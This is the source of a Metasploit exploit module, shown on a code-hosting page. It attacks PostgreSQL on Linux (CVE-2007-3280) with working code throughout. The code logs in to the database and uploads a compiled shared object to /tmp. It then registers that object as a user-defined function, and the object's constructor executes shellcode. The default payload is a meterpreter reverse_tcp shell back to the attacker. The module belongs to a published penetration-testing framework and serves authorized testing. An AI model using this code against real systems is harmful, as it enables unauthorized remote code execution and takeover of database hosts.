Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/postgres/postgres_payload.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking89include Msf::Exploit::Remote::Postgres10include Msf::Auxiliary::Report11include Msf::OptionalSession::PostgreSQL1213# Creates an instance of this module.14def initialize(info = {})15super(update_info(info,16'Name' => 'PostgreSQL for Linux Payload Execution',17'Description' => %q{18On some default Linux installations of PostgreSQL, the19postgres service account may write to the /tmp directory, and20may source UDF Shared Libraries from there as well, allowing21execution of arbitrary code.2223This module compiles a Linux shared object file, uploads it to24the target host via the UPDATE pg_largeobject method of binary25injection, and creates a UDF (user defined function) from that26shared object. Because the payload is run as the shared object's27constructor, it does not need to conform to specific Postgres28API versions.29},30'Author' =>31[32'midnitesnake', # this Metasploit module33'egypt', # on-the-fly compiled .so technique34'todb', # original windows module this is based on35'lucipher' # updated module to work on Postgres 8.2+36],37'License' => MSF_LICENSE,38'References' =>39[40[ 'CVE', '2007-3280' ],41[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]42],43'Platform' => 'linux',44'Payload' =>45{46'Space' => 65535,47'DisableNops' => true,48},49'Targets' =>50[51[ 'Linux x86',52{53'Arch' => ARCH_X86,54'DefaultOptions' => {55'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'56}57}58],59[ 'Linux x86_64',60{61'Arch' => ARCH_X64,62'DefaultOptions' => {63'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'64}65}66],67],68'DefaultTarget' => 0,69'DisclosureDate' => '2007-06-05'70))7172deregister_options('SQL', 'RETURN_ROWSET')73end7475def check76version = postgres_fingerprint7778if version[:auth]79return CheckCode::Appears80else81print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"82return CheckCode::Safe83end84end8586def exploit87self.postgres_conn = session.client if session8889version = do_login(username,password,database)90case version91when :noauth; print_error "Authentication failed"; return92when :noconn; print_error "Connection failed"; return93else94print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}")95end9697fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"9899unless postgres_upload_binary_data(payload_so(fname), fname)100print_error "Could not upload the UDF SO"101return102end103104print_status "Uploaded as #{fname}, should be cleaned up automatically"105begin106func_name = Rex::Text.rand_text_alpha(10)107postgres_query(108"create or replace function pg_temp.#{func_name}()"+109" returns void as '#{fname}','#{func_name}'"+110" language c strict immutable"111)112rescue RuntimeError => e113print_error "Failed to create UDF function: #{e.class}: #{e}"114end115postgres_logout if @postgres_conn && session.blank?116117end118119# Authenticate to the postgres server.120#121# Returns the version from #postgres_fingerprint122def do_login(user=nil,pass=nil,database=nil)123begin124password = pass || postgres_password125vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn126result = postgres_fingerprint(127:db => database,128:username => user,129:password => password130)131if result[:auth]132report_service(133:host => postgres_conn.peerhost,134:port => postgres_conn.peerport,135:name => "postgres",136:info => result.values.first137)138return result[:auth]139else140print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")141return :noauth142end143rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError144return :noconn145end146end147148149def payload_so(filename)150shellcode = Rex::Text.to_hex(payload.encoded, "\\x")151#shellcode = "\\xcc"152153c = %Q^154int _exit(int);155int printf(const char*, ...);156int perror(const char*);157void *mmap(int, int, int, int, int, int);158void *memcpy(void *, const void *, int);159int mprotect(void *, int, int);160int fork();161int unlink(const char *pathname);162163#define MAP_PRIVATE 2164#define MAP_ANONYMOUS 32165#define PROT_READ 1166#define PROT_WRITE 2167#define PROT_EXEC 4168169#define PAGESIZE 0x1000170171typedef struct _Pg_magic_struct {172int len;173int version;174int funcmaxargs;175int indexmaxkeys;176int namedatalen;177int float4byval;178int float8byval;179} Pg_magic_struct;180181extern const Pg_magic_struct *PG_MAGIC_FUNCTION_NAME(void);182183const Pg_magic_struct * PG_MAGIC_FUNCTION_NAME(void)184{185static const Pg_magic_struct Pg_magic_data = {sizeof(Pg_magic_struct), 804, 100, 32, 64, 1, 1};186return &Pg_magic_data;187}188189char shellcode[] = "#{shellcode}";190191void run_payload(void) __attribute__((constructor));192193void run_payload(void)194{195int (*fp)();196fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);197198memcpy(fp, shellcode, sizeof(shellcode));199if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {200_exit(1);201}202if (!fork()) {203fp();204}205206unlink("#{filename}");207return;208}209210^211212cpu = case target_arch.first213when ARCH_X86; Metasm::Ia32.new214when ARCH_X64; Metasm::X86_64.new215end216payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")217218so_file = payload_so.encode_string(:lib)219220so_file221end222end223224225